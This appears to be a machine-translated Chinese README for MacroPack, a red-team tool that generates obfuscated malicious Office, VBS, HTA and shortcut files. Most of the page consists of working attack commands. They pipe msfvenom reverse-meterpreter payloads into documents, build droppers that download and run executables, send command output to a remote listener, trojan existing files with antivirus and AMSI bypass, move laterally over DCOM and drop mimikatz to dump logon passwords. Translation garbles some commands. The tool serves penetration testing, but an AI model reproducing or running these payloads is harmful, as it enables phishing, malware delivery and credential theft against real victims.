MacroPack Community 是一个用于自动混淆和生成复古格式(例如 MS Office 文档或 VBS 等格式)的工具。它还可以处理各种快捷方式格式。该工具可用于红队、渗透测试、演示和社会工程评估。 MacroPack 将简化反恶意软件解决方案绕过并自动化从 vb 源到最终 Office 文档或其他有效负载类型的过程。使用起来非常简单:
无需配置
一切都可以用一行代码完成
生成大多数 Office 格式和基于 VBS 的格式
专为高级社会工程攻击而设计的有效负载(电子邮件、USB 密钥等)
该工具与流行的渗透测试工具(Metasploit、Empire...)生成的有效负载兼容。它也很容易与其他工具结合使用,因为可以从标准输入读取输入并向另一个工具提供安静的输出。该工具是用 Python3 编写的,可在 Linux 和 Windows 平台上运行
注意: Office 文档自动生成或木马功能需要安装正确的 MS Office 应用程序的 Windows 平台。
该工具将使用各种自动混淆技术。混淆功能与 MacroPack 生成的所有基于 VBA 和 VBS 的格式兼容。
基本混淆(-o 选项)包括:
重命名函数
重命名变量
删除空格
删除评论
编码字符串
MacroPack 可以生成多种 MS Office 文档和脚本格式。将根据给定的文件扩展名自动猜测格式。文件生成是使用选项 --generate 或 -G 完成的。
MacroPack 专业版还允许您使用选项 --trojan 或 -T 木马现有 Office 文件。
Ms Office 支持的格式有:
MS Word(.doc、.docm、.docx、.dotm)
MS Excel(.xls、.xlsm、.xslx、.xltm)
MS PowerPoint(.pptm、.potm)
MS Access(.accdb、.mdb)
MS Visio(.vsd、.vsdm)
MS 项目 (.mpp)
脚本 (txt) 支持的格式有:
VBA 文本文件 (.vba)
VBS 文本文件 (.vbs)。
Windows 脚本文件 (.wsf)
Windows 脚本组件 scriptlet(.wsc、.sct)
HTML 应用程序 (.hta)
XSLT 样式表 (.xsl)(是的 MS XSLT 包含脚本 ^^)
快捷方式/Shell 支持的格式有:
外壳链接 (.lnk)
资源管理器命令文件 (.scf)
URL 快捷方式 (.url)
Groove 快捷方式 (.glk)
设置快捷方式 (.settingcontent-ms)
MS 库 (.library-ms)
设置信息 (.inf)
Excel 网络查询 (.iqy)
Visual Studio 项目 (.csproj)
命令行 (.cmd)
仅限 SYmbolic Link (.slk) 专业版
压缩 HTML 帮助 (.chm) 仅专业版
请注意,所有脚本和快捷方式格式(LNK 除外)也可以在 Linux 版本的 MacroPack 上生成。
该软件必须仅在红队参与、渗透测试、网络钓鱼模拟、安全研究或其他形式的安全评估中使用,并获得系统所有者的合法和正式授权。未经事先同意,禁止使用本软件攻击目标,这是非法的。用户有责任遵守所有适用的地方、州、联邦和国家法律。
对于因使用本软件而可能造成的任何误用或损坏,我们不承担任何责任。
MacroPack 社区中并非提供 MacroPack 的所有功能和选项。仅在线提供社区版本。专业版的功能真正将流程“武器化”,因此仅限专业人士使用。
专业模式包括以下功能:
高级反恶意软件绕过
高级Shellcode注入方法
命令行混淆(Dosfuscation)
ASR 和 AMSI 绕过
自解压 VBA/VBS 有效负载
木马现有的 MS Office 文档、帮助文件和 Visual Studio 项目。
嵌入诱饵有效负载
使用 DCOM 对象进行横向移动
反逆向工程
沙箱检测
支持更多格式,例如Excel 4.0 SYLK和编译的帮助文件
从不常见的格式运行高级 VB 有效负载
武器化模板和附加模板(例如 EMPIRE、AUTOSHELLCODE)
Excel 4.0 宏 (XLM)
还有更多……
BallisKit Vimeo 频道上提供了一些简短的演示视频。
重要提示:如果您想联系我了解 MacroPack pro,请使用我的 emeric.nasi [at] sevagas.com 电子邮件地址。我不会回答专业版的匿名询问,而只会回答专业电子邮件。
从 https://github.com/sevagas/macro_pack/releases/ 获取最新的二进制文件
在安装了正版 Microsoft Office 的 PC 上下载二进制文件。
打开控制台,CD 到二进制目录并调用二进制文件,就这么简单!
Macro_pack.exe --帮助
您需要在 Windows 计算机上构建 MacroPack。下载并安装依赖项:
git 克隆 https://github.com/sevagas/macro_pack.gitcd macro_pack pip3 install -r 要求.txt
该工具采用 python 3 版本,因此只需从 python3 安装开始即可。前任:
python3 Macro_pack.py --help# 或 python macro_pack.py --help # 如果 python3 是默认安装
如果您想使用 pyinstaller 生成独立的 exe:
安装pyinstaller:pip install pyinstaller
双击“build.bat”脚本。
生成的 Macro_pack.exe 将位于bin目录中。
列出所有支持的文件格式
Macro_pack.exe --listformats
列出所有可用模板
Macro_pack.exe --listtemplates
混淆 msfvenom 生成的 vba 文件并将结果放入新的 VBA 文件中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G metobf.vba
混淆 Empire stager VBA 文件并生成 MS Word 文档:
Macro_pack.exe -f Empire.vba -o -G myDoc.docm
生成包含混淆的 dropper 的 MS Excel 文件(下载 Payload.exe 并存储为 Dropped.exe)
回声“https://myurl.url/payload.exe”“dropped.exe”| Macro_pack.exe -o -t DROPPER -G "drop.xlsm"
创建一个 word 97 文档,其中在共享文件夹内包含混淆的 VBA 反向 meterpreter 有效负载
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G REMOTE-PCSharemeter.doc
使用 DROPPER_PS 模板下载并执行 Empire Launcher stager,无需 powershell.exe
# 1 生成一个包含 Empire lauchcher 的文件 # 2 使该文件在 Web 服务器上可用,例如使用 netcat:{ echo -ne "HTTP/1.0 200 OKrnrn";猫 Empire_stager.cmd; } | nc -l -p 6666 -q1# 3 使用macro_pack在Excel文件中生成DROPPER_PS有效负载echo http://10.5.5.12:6543/empire_stager.cmd | Macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 在目标上执行时,宏将下载 PowerShdll,使用 rundll32 运行它,然后下载并执行 stager。
通过动态数据交换(DDE)攻击执行 calc.exe
回声计算.exe | Macro_pack.exe --dde -G calc.xslx
使用动态数据交换 (DDE) 攻击通过 powershell 下载并执行文件
# 1 更改 resourcescommunityps_dl_exec.cmd 中的目标文件 URL# 2 在文档中嵌入下载执行 cmdmacro_pack.exe --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
通过 Excel Web 查询文件和 DDE 运行命令 (notepad.exe)
# 1 创建 dde.dat 文件,其中下一个内容=cmd|' /c notepad.exe'!A1# 2 在网络服务器上托管 dde.dat,例如。使用macro_pack -l# 3 生成.iqy 文件macro_pack.exe -G dde.iqy
生成混淆的meterpreter反向TCP VBS文件并运行
# 1 基于meterpreter模板以及Metasploit资源文件生成混淆的VBSecho| Macro_pack.exe -t MEERPRETER -o -Gmeter.vbs # 2 在攻击者机器上设置 meterpreter 监听器 msfconsole -r meterpreter.rc # 3 使用wscript运行VBS文件(运行32位wscript,因为meterpreter有效负载是32位)%windir%SysWoW64wscriptmeter.vbs
生成混淆的 HTA 文件,该文件执行“systeminfo”并将结果返回到侦听 192.168.0.5 的另一个 Macro_pack
# 1 使用 REMOTE_CMD templateecho http://192.168.0.5:1234/a "systeminfo" | 生成 HTA 文件Macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 在 192.168.0.5 上打开 Macro_pack 作为 http 监听器 宏包.exe -l 。 --port=1234# 3 使用 mshta 运行 hta 文件 mshta.exe 完整/路径/to/info.hta
生成 url 快捷方式,单击该快捷方式即可执行本地 HTA 文件
echo "文件://C:Users用户名Desktophello.hta" | Macro_pack.exe -G yop.url
生成 lnk 快捷方式,该快捷方式执行带有 calc.exe 图标运行 calc.exe 的 cmd
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | Macro_pack.exe -G calc.lnk
使用植入程序对现有的共享“report.xlsm”文件进行木马攻击。使用防AV和防逆向功能。
回声“http://10.5.5.12/drop.exe”“dropped.exe”| Macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
生成包含 VBA 自编码 x64 反向 meterpreter VBA 负载的 Word 文件(将绕过大多数 AV)。需要保持活动状态,因为我们需要 meterpreter 在迁移之前保持活动状态。
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | msfvenom.bat Macro_pack.exe -o --autopack --keep-alive -G out.docm
使用反向原始 shellcode 木马 PowerPoint 文件。宏被混淆和破坏以绕过 AMSI 和大多数防病毒软件。
回声信标.bin | Macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
使用 DCOM 在远程 PC 上执行宏。
REM 第 1 步:确保您有足够的权限 net use 192.168.0.8c$ /user:domainusername 密码REM 第 2 步:生成文档,例如此处,meterpreter 反向 TCP Excel fileecho 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -Gmeter.xlsmREM 步骤 3:将文档复制到远程共享上的某个位置copymeter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM 步骤 4:执行!macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM 一步完成第 2 至 4 步:echo 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
可以使用 -t、--template=TEMPLATE_NAME 与其他选项相结合来调用模板。
这是所有可用的模板。
只需打印一条问候消息并了解有关宏的信息即可。
为该模板提供作者的姓名或电子邮件:
-> 示例: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
执行命令。
给这个模板一个命令行
-> 示例(从 xslt 文件中弹出 calc.exe): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
执行命令行并将结果发送到远程 HTTP 服务器。
为该模板提供服务器 url 和要运行的命令:
-> 示例: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# 使用任何网络服务器或 netcatnc -l -p 7777 捕获结果
下载并执行文件。
为该模板提供文件 url 和目标文件路径
-> 示例: echo
使用 rundll32 下载并执行 Powershell 脚本(以绕过被阻止的 powershell.exe)。
注意:此有效负载将从 Github 下载 PowerShdll。
为该模板提供您要运行的 powershell 脚本的 URL:
-> 示例: echo "
下载具有另一个扩展名的 DLL 并使用 Office VBA 运行它。
-> 示例,使用 Office 加载 meterpreter DLL:
REM 生成 meterpreter dll Payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -ometer.dllREM 使其在网络服务器上可用,例如在端口 6666 上使用 netcat{ echo -ne "HTTP/1.0 200 OKrnrn" ;猫米.dll; } | nc -l -p 6666 -q1REM 创建 OFfice 文件,该文件将下载 DLL 并调用它REM DLL URL 为 http://192.168.0.5:6666/normal.html 并将保存为 .asd 文件echo "http://192.168 .0.5:6666/normal.html" 运行 | Macro_pack.exe -t DROPPER_DLL -o -Gmeterdll.xls
Meterpreter 反向 TCP 模板使用 Cn33liz 的 MacroMeter。
该模板是由 Cn33liz 构建的 CSharp meterpreter Stager,并使用 James Forshaw 的 DotNetToJScript 嵌入到 VBA 中。
为该模板提供监听 mfsconsole 的 IP 和 PORT:
-> 示例: echo
该模板还生成一个 meterpreter.rc 文件来创建 Metasploit 处理程序
-> 示例: msfconsole -r meterpreter.rc
删除并执行嵌入文件。
与 --embed 选项结合使用,它将在 TEMP 文件夹下放置并执行随机名称的嵌入文件。
-> 示例: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
与 --embed 选项结合使用,它将删除并调用给定 DLL 中的函数。
为该模板指定要在 DLL 中调用的函数的名称和参数
-> 示例1: echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> 示例 2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
各种功能都针对本地安装的反恶意软件解决方案以及在线服务进行了测试。我对多种有效负载和 MacroPack 功能进行了多次测试。大多数防病毒静态将通过简单的“混淆”选项来规避。然而,与大多数免费工具一样,有效负载通常通过 AMSI 等行为分析来捕获。 MacroPack pro 模式中可用的功能通常允许完全绕过 AV,包括 AMSI。
警告:请勿将样本提交给在线扫描仪(例如 VirusTotal),这是破解隐形宏的最佳方法。我还建议您不要向 NoDistribute 等非报告网站提交内容。您无法确定这些网站将如何处理您提交的数据。如果您对 Macro_pack AV 检测有疑问,可以写信给我们寻求建议或提交问题或拉取请求。
有关 MacroPack Pro 的博客文章:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro(MacroPack Pro 中的 Excel 4.0 有效负载)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection(MacroPack Pro 中的 XLM 注入)
关于利用 MS Office、VBS 和其他复古安全工具进行黑客攻击的博客文章:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot(编写完整的 VBA RAT,包括如何绕过 VBOM 保护)
http://blog.sevagas.com/?Hacking-around-HTA-files(在非 hta 文件和 hta 多语言中运行 hta 代码)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/(关于动态数据交换攻击)
https://enigma0x3.net/2017/09/11/terior-movement-using-excel-application-and-dcom/
其他有用的链接:
https://github.com/p3nt4/PowerShdll(仅使用 dll 运行 PowerShell)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384(使用PowerShdll VBA实现运行powershell脚本)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing- Between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
请随时在我的 Twitter 帐户@EmericNasi 上给我留言
电子邮件:
emeric.nasi[ 位于 ]sevagas.com
ena.sevagas[ 位于 ]protonmail.com
重要提示:如果您想就 MacroPack pro 与我联系,请使用我的 sevagas.com 电子邮件地址。另请注意,我不会回答专业版的匿名询问,只会回答专业电子邮件。
Apache 许可证 2.0
版权所有 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)